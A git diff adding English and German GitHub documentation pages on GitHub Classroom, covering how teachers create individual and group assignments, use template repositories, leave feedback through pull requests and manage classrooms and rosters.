+{% data reusables.classroom.reuse-assignment-link %}
+
+## Prerequisites
+
+{% data reusables.classroom.assignments-classroom-prerequisite %}
+
+## Creating an assignment
+
+{% data reusables.classroom.assignments-guide-create-the-assignment %}
+
+## Setting up the basics for an assignment
+
+Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories.
+
+- [Naming an assignment](#naming-an-assignment)
+- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
+- [Choosing an assignment type](#choosing-an-assignment-type)
+- [Defining teams for an assignment](#defining-teams-for-an-assignment)
+- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+
+### Naming an assignment
+
+For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`.
+
+{% data reusables.classroom.assignments-type-a-title %}
+
+### Assigning a deadline for an assignment
+
+{% data reusables.classroom.assignments-guide-assign-a-deadline %}
+
+### Choosing an assignment type
+
+Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create an individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)."
+
+### Defining teams for an assignment
+
+If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams.
+
+{% tip %}
+
+**Tips**:
+
+- We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course.
+
+- If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members.
+
+{% endtip %}
+
+![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png)
+
+### Choosing a visibility for assignment repositories
+
+{% data reusables.classroom.assignments-guide-choose-visibility %}
+
+{% data reusables.classroom.assignments-guide-click-continue-after-basics %}
+
+## Adding starter code and configuring a development environment
+
+{% data reusables.classroom.assignments-guide-intro-for-environment %}
+
+- [Choosing a template repository](#choosing-a-template-repository)
+- [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
+
+### Choosing a template repository
+
+By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} 
+
+{% data reusables.classroom.assignments-guide-choose-template-repository %}
+
+### Choosing an integrated development environment (IDE)
+
+{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+
+{% data reusables.classroom.classroom-codespaces-link %}
+
+{% data reusables.classroom.assignments-guide-choose-an-online-ide %}
+
+{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
+
+## Providing feedback
+
+Optionally, you can automatically grade assignments and create a space for discussing each submission with the team.
+
+- [Testing assignments automatically](#testing-assignments-automatically)
+- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+
+### Testing assignments automatically
+
+{% data reusables.classroom.assignments-guide-using-autograding %}
+
+### Creating a pull request for feedback
+
+{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
+
+{% data reusables.classroom.assignments-guide-create-review-pull-request %}
+
+{% data reusables.classroom.assignments-guide-click-create-assignment-button %}
+
+## Inviting students to an assignment
+
+{% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
+
+You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+
+<div class="procedural-image-wrapper">
+  <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
+</div>
+
+## Monitoring students' progress
+The assignment overview page displays information about your assignment acceptances and team progress. You may have different summary information based on the configurations of your assignments.
+
+- **Total teams**: The number of teams that have been created.
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Students not on a team**: The number of students on the Classroom roster who have not yet joined a team.
+-  **Accepted teams**: The number of teams who have accepted this assignment.
+-  **Assignment submissions**: The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing teams**: The number of teams that are currently passing the autograding tests for this assignment.
+
+## Next steps
+
+- After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [resolving merge conflicts](https://github.com/skills/resolve-merge-conflicts) from {% data variables.product.prodname_learning %}.
+
+- When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+
+- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+
+## Further reading
+
+- [{% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers)
+- "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)"
+- [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
new file mode 100644
index 0000000000..e99c018b50
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
@@ -0,0 +1,27 @@
+---
+title: Erstellen einer Aufgabe aus einem Vorlagenrepository
+intro: 'Du kannst einen Arbeitsauftrag anhand eines Vorlagenrepositorys erstellen, um Kursteilnehmern Code, Dokumentation und andere Ressourcen zur Verfügung zu stellen.'
+permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments
+  - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository
+shortTitle: Template repository
+ms.openlocfilehash: 4a4121a51f3138fca371b38797a7aa39e699cbfb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102679'
+---
+Du kannst ein Vorlagenrepository auf {% data variables.product.product_name %} als Startercode für eine Aufgabe in {% data variables.product.prodname_classroom %} verwenden. Dein Vorlagenrepository kann Codebausteine, Dokumentation und weitere Ressourcen für deine Kursteilnehmer enthalten. Weitere Informationen findest du unter [Erstellen eines Vorlagenrepositorys](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository).
+
+Damit du das Vorlagenrepository für deine Aufgabe nutzen kannst, muss es im Besitz deiner Organisation sein, oder die Sichtbarkeit des Vorlagenrepositorys muss „Öffentlich“ lauten.
+
+Du kannst eine vorhandene Aufgabe – selbst wenn diese eine Vorlage nutzt – in jedem anderen Kursraum wiederverwenden, auf den du als Administrator Zugriff hast. Dies gilt auch für Kursräume einer anderen Organisation. Weitere Informationen findest du unter [Wiederverwenden einer Aufgabe](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment).
+
+## Weitere Informationsquellen
+
+- [Erstellen einer Einzelaufgabe](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)
+- [Erstellen einer Gruppenaufgabe](/education/manage-coursework-with-github-classroom/create-a-group-assignment)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
new file mode 100644
index 0000000000..3d98e5cb48
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -0,0 +1,139 @@
+---
+title: Erstellen einer Einzelaufgabe
+intro: 'Du kannst eine Aufgabe für Studierende im Kurs erstellen, die individuell abgeschlossen werden soll.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment
+  - /education/manage-coursework-with-github-classroom/create-an-individual-assignment
+shortTitle: Individual assignment
+ms.openlocfilehash: 4f5fab2f63ff686762a4fb6ccd5964b7f4d9cb3c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573868'
+---
+## Informationen zu Einzelaufgaben
+
+{% data reusables.classroom.assignments-individual-definition %}
+
+{% data reusables.classroom.classroom-creates-individual-repositories %}
+
+{% data reusables.classroom.about-assignments %}
+
+Ein Video zum Erstellen einer Einzelaufgabe findest du unter [Grundlagen der Einrichtung von {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom).
+
+{% data reusables.classroom.reuse-assignment-link %}
+
+## Voraussetzungen
+
+{% data reusables.classroom.assignments-classroom-prerequisite %}
+
+## Erstellen einer Aufgabe
+
+{% data reusables.classroom.assignments-guide-create-the-assignment %}
+
+## Festlegen der Grundeinstellungen für eine Aufgabe
+
+Benenne die Aufgabe, entscheide, ob du einen Abgabetermin festlegen möchtest, und wähle die Sichtbarkeit von Aufgabenrepositorys aus.
+
+- [Benennen einer Aufgabe](#naming-an-assignment)
+- [Festlegen eines Abgabetermins für eine Aufgabe](#assigning-a-deadline-for-an-assignment)
+- [Auswählen eines Aufgabentyps](#choosing-an-assignment-type)
+- [Auswählen der Sichtbarkeit von Aufgabenrepositorys](#choosing-a-visibility-for-assignment-repositories)
+
+### Benennen einer Aufgabe
+
+Bei einer einzelnen Aufgabe werden Repositorys von {% data variables.product.prodname_classroom %} durch das Repositorypräfix und den {% data variables.product.product_name %}-Benutzernamen des Kursteilnehmers benannt. Standardmäßig ist das Repositorypräfix der Aufgabentitel. Wenn du eine Aufgabe beispielsweise „assignment-1“ nennst und der Name des Kursteilnehmers auf {% data variables.product.product_name %} @octocat lautet, wird der Name des Aufgabenrepositorys für @octocat auf `assignment-1-octocat` festgelegt.
+
+{% data reusables.classroom.assignments-type-a-title %}
+
+### Festlegen eines Abgabetermins für eine Aufgabe
+
+{% data reusables.classroom.assignments-guide-assign-a-deadline %}
+
+### Auswählen eines Aufgabentyps
+
+Klicke unter „Einzel- oder Gruppenaufgabe“ im Dropdownmenü auf **Einzelaufgabe**. Du kannst den Aufgabentyp nach Erstellen der Aufgabe nicht mehr ändern. Wenn du lieber eine Gruppenaufgabe erstellen möchtest, findest du unter [Erstellen einer Gruppenaufgabe](/education/manage-coursework-with-github-classroom/create-a-group-assignment) weitere Informationen.
+
+### Auswählen der Sichtbarkeit von Aufgabenrepositorys
+
+{% data reusables.classroom.assignments-guide-choose-visibility %}
+
+{% data reusables.classroom.assignments-guide-click-continue-after-basics %}
+
+## Hinzufügen von Startcode und Konfigurieren einer Entwicklungsumgebung
+
+{% data reusables.classroom.assignments-guide-intro-for-environment %}
+
+- [Auswählen eines Vorlagenrepositorys](#choosing-a-template-repository)
+- [Auswählen einer integrierten Entwicklungsumgebung (IDE)](#choosing-an-integrated-development-environment-ide)
+
+### Auswählen eines Vorlagenrepositorys
+
+Standardmäßig erstellt eine neue Aufgabe ein leeres Repository für sämtliche Kursteilnehmenden im Listenfeld für den Classroom. {% data reusables.classroom.you-can-choose-a-template-repository %}
+
+{% data reusables.classroom.assignments-guide-choose-template-repository %}
+
+{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
+
+### Auswählen einer integrierten Entwicklungsumgebung (IDE)
+
+{% data reusables.classroom.about-online-ides %} Weitere Informationen findest du unter [Integrieren von {% data variables.product.prodname_classroom %} mit einer IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide).
+
+{% data reusables.classroom.classroom-codespaces-link %}
+
+{% data reusables.classroom.assignments-guide-choose-an-online-ide %}
+
+## Bereitstellen von Feedback für eine Aufgabe
+
+Optional kannst du Aufgaben automatisch benoten und Raum für Diskussionen über die einzelnen Übermittlungen mit den Kursteilnehmenden schaffen.
+
+- [Automatisches Testen von Aufgaben](#testing-assignments-automatically)
+- [Erstellen eines Pull Requests für Feedback](#creating-a-pull-request-for-feedback)
+
+### Automatisches Testen von Aufgaben
+
+{% data reusables.classroom.assignments-guide-using-autograding %}
+
+### Erstellen eines Pull Requests für Feedback
+
+{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
+
+{% data reusables.classroom.assignments-guide-create-review-pull-request %}
+
+{% data reusables.classroom.assignments-guide-click-create-assignment-button %}
+
+## Einladen von Kursteilnehmer*innen zu einer Aufgabe
+
+{% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
+
+Auf der Registerkarte **Kursliste** für die Aufgabe kannst du anzeigen, ob ein Kursteilnehmer dem Kursraum beigetreten ist und eine Aufgabe angenommen oder eingereicht hat. Du kannst auf dieser Registerkarte auch die {% data variables.product.prodname_dotcom %}-Aliase von Kursteilnehmenden mit ihrem zugeordneten Listenbezeichner verknüpfen und umgekehrt. {% data reusables.classroom.assignments-to-prevent-submission %}
+
+<div class="procedural-image-wrapper">
+  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+</div>
+
+## Überwachen des Fortschritts von Kursteilnehmer*innen
+Auf der Seite mit der Aufgabenübersicht findest du eine Übersicht über deine angenommenen Aufgaben und den Fortschritt der Kursteilnehmenden. Möglicherweise werden basierend auf den Konfigurationen deiner Aufgaben verschiedene Zusammenfassungsinformationen angezeigt.
+
+- **Kursteilnehmerliste:** Anzahl der Kursteilnehmer*innen auf der Kursliste
+- **Hinzugefügte Kursteilnehmende:** Anzahl der {% data variables.product.prodname_dotcom %}-Konten, die die Aufgabe akzeptiert haben und keinem Listenbezeichner zugeordnet sind
+-  **Akzeptierte Kursteilnehmende:** Anzahl der Konten, die diese Aufgabe akzeptiert haben
+-  **Übermittelte Aufgaben:** Anzahl der Kursteilnehmenden, die die Aufgabe übermittelt haben. Die Übermittlung wird zum Abgabezeitpunkt für die Aufgabe ausgelöst.
+-  **Bestandene Kursteilnehmende:** Anzahl der Kursteilnehmenden, die derzeit die automatisch benoteten Tests für diese Aufgabe bestehen
+
+## Nächste Schritte
+
+- Nachdem du die Aufgabe erstellt hast, können die Kursteilnehmenden mithilfe von Git und {% data variables.product.product_name %}-Features mit der Arbeit an der Aufgabe beginnen. Kursteilnehmer*innen können das Repository klonen, Commits pushen, Branches verwalten, Pull Requests erstellen und überprüfen, Mergekonflikte adressieren und Änderungen mit Issues diskutieren. Sowohl du als auch die Kursteilnehmenden können den Commitverlauf für das Repository überprüfen. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github), [Repositorys](/repositories) und [Zusammenarbeiten an Issues und Pull Requests](/github/collaborating-with-issues-and-pull-requests).
+
+- Wenn ein Kursteilnehmer eine Aufgabe abgeschlossen hat, kannst du die Dateien im Repository oder den Verlauf und die Visualisierungen für das Repository überprüfen, um seine Arbeit besser zu verstehen. Weitere Informationen findest du unter [Visualisieren von Repositorydaten mit Graphen](/github/visualizing-repository-data-with-graphs).
+
+- Du kannst Feedback zu einer Aufgabe bereitstellen, indem du einzelne Commits oder Zeilen in einem Pull Request kommentierst. Weitere Informationen findest du unter [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) und [Öffnen eines Issues zu Code](/github/managing-your-work-on-github/opening-an-issue-from-code). Weitere Informationen zum Erstellen gespeicherter Antworten für Feedback zu häufigen Fehlern findest du unter [Informationen zu gespeicherten Antworten](/github/writing-on-github/about-saved-replies).
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_global_campus %} für Lehrkräfte](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers)
+- [Verbinden eines Lernverwaltungssystems mit {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md
new file mode 100644
index 0000000000..2731b2e6d3
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md
@@ -0,0 +1,28 @@
+---
+title: Lehren mit GitHub Classroom
+intro: 'Erfahre, wie du Kursräume einrichtest und Aufgaben stellst.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories
+  - /education/manage-coursework-with-github-classroom/probot-settings
+children:
+  - /manage-classrooms
+  - /use-the-git-and-github-starter-assignment
+  - /create-an-individual-assignment
+  - /create-a-group-assignment
+  - /reuse-an-assignment
+  - /create-an-assignment-from-a-template-repository
+  - /leave-feedback-with-pull-requests
+  - /use-autograding
+  - /register-a-learning-management-system-with-github-classroom
+  - /connect-a-learning-management-system-course-to-a-classroom
+shortTitle: Teach
+ms.openlocfilehash: 8d2c7eb41a233af9ef331ae30daf97387a80b522
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102675'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md
new file mode 100644
index 0000000000..2f8fcc85cd
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md
@@ -0,0 +1,39 @@
+---
+title: Einfügen von Feedback mit Pull Requests
+intro: Du kannst zu jeder Aufgabe in besonderen Pull Requests innerhalb des Repositorys Feedback für deine Studierenden hinterlassen.
+permissions: People with read permissions to a repository can leave feedback in a pull request for the repository.
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github
+  - /education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests
+shortTitle: Pull requests
+ms.openlocfilehash: 6315904aaaa02acc66249039e99a402b455a8871
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106360'
+---
+## Informationen zu Feedback-Pull Requests für Zuweisungen
+
+{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
+
+Wenn du die Pull Request für Feedback für eine Aufgabe aktivierst, erstellt {% data variables.product.prodname_classroom %} eine spezielle Pull Request mit dem Titel **Feedback** im Zuweisungs-Repository für jeden Kursteilnehmer oder jedes Team. Die Pull Request zeigt automatisch jeden Commit an, den ein Schüler an den Standardzweig des Zuweisungs-Repositorys verschoben hat.
+
+## Voraussetzungen
+
+Um die Feedback-Pull Request zu erstellen und zuzugreifen, musst du die Feedback-Pull Request aktivieren, wenn du die Zuweisung erstellst. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+
+## Verlassen von Feedback in einer Pull Request für eine Aufgabe
+
+{% data reusables.classroom.sign-into-github-classroom %}
+1. Klicke in der Liste der Kursräume auf den Raum mit der Aufgabe, die du überprüfen möchtest.
+  ![Klassenzimmer in der Liste der Klassenzimmer für eine Organisation](/assets/images/help/classroom/click-classroom-in-list.png) {% data reusables.classroom.click-assignment-in-list %}
+1. Klicke rechts neben einer Übermittlung auf **Überprüfen**.
+  ![Überprüfen-Schaltfläche für die Zuordnung in der Liste der Übermittlungen für eine Zuordnung](/assets/images/help/classroom/assignments-click-review-button.png)
+1. Überprüfen Sie den Pull Request. Weitere Informationen findest du unter [Kommentieren von Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request).
+
+## Weitere Informationsquellen
+
+- Weitere Informationen findest du unter [Integrieren von {% data variables.product.prodname_classroom %} mit einer IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide).
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
new file mode 100644
index 0000000000..a71b690947
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
@@ -0,0 +1,137 @@
+---
+title: Manage classrooms
+intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.'
+permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/archive-a-classroom
+  - /education/manage-coursework-with-github-classroom/manage-classrooms
+---
+
+## About classrooms
+
+{% data reusables.classroom.about-classrooms %}
+
+![Classroom](/assets/images/help/classroom/classroom-hero.png)
+
+## About management of classrooms
+
+{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms.
+
+After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}.
+
+Invite TAs and admins to your classroom by inviting the personal accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+
+When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. 
+
+{% data reusables.classroom.reuse-assignment-link %}
+
+## About classroom rosters
+
+Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course.
+
+When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a personal account to link the personal account to an identifier for the classroom. After the student links a personal account, you can see the associated personal account in the roster. You can also see when the student accepts or submits an assignment.
+
+![Classroom roster](/assets/images/help/classroom/roster-hero.png)
+
+## Prerequisites
+
+You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+
+You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+
+## Creating a classroom
+
+{% data reusables.classroom.sign-into-github-classroom %}
+1. Click **New classroom**.
+  !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png)
+{% data reusables.classroom.guide-create-new-classroom %}
+
+After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)," or "[Reuse an assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)."
+
+## Creating a roster for your classroom
+
+You can create a roster of the students who participate in your course.
+
+If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)."
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-students %}
+1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Import from...** button to import a roster from your LMS course. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)."
+   
+   {% note %}
+
+  **Note:** {% data reusables.classroom.google-classroom-note %}
+
+  {% endnote %}
+
+2. Provide the student identifiers for your roster.
+     - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**.
+     - To create a roster manually, type your student identifiers.
+       ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
+3. Click **Create roster**.
+  !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png)
+
+## Adding students to the roster for your classroom
+
+Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)."
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-students %}
+1. To the right of "Classroom roster", click **Update students**. If you have already linked your classroom to an LMS course, then you will see a **Sync from...** button instead. 
+  !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png)
+1. Follow the instructions to add students to the roster.
+    - To import students from an LMS, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Sync from...** button. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)."
+        {% note %}
+
+        **Note:** {% data reusables.classroom.google-classroom-note %}
+
+        {% endnote %}
+    - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.
+      ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
+
+## Renaming a classroom
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-settings %}
+1. Under "Classroom name", type a new name for the classroom.
+  ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png)
+1. Click **Rename classroom**.
+  !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
+
+## Archiving or unarchiving a classroom
+
+You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms.
+
+{% data reusables.classroom.sign-into-github-classroom %}
+1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.
+  ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
+1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.
+  ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
+
+## Deleting a roster for a classroom
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-students %}
+1. Under "Delete this roster", click **Delete roster**.
+  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png)
+1. Read the warnings, then click **Delete roster**.
+  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
+
+## Deleting a classroom
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-settings %}
+1. To the right of "Delete this classroom", click **Delete classroom**.
+  !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png)
+1. **Read the warnings**.
+1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.
+  ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
+1. Click **Delete classroom**.
+  !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md
new file mode 100644
index 0000000000..6e99481ebc
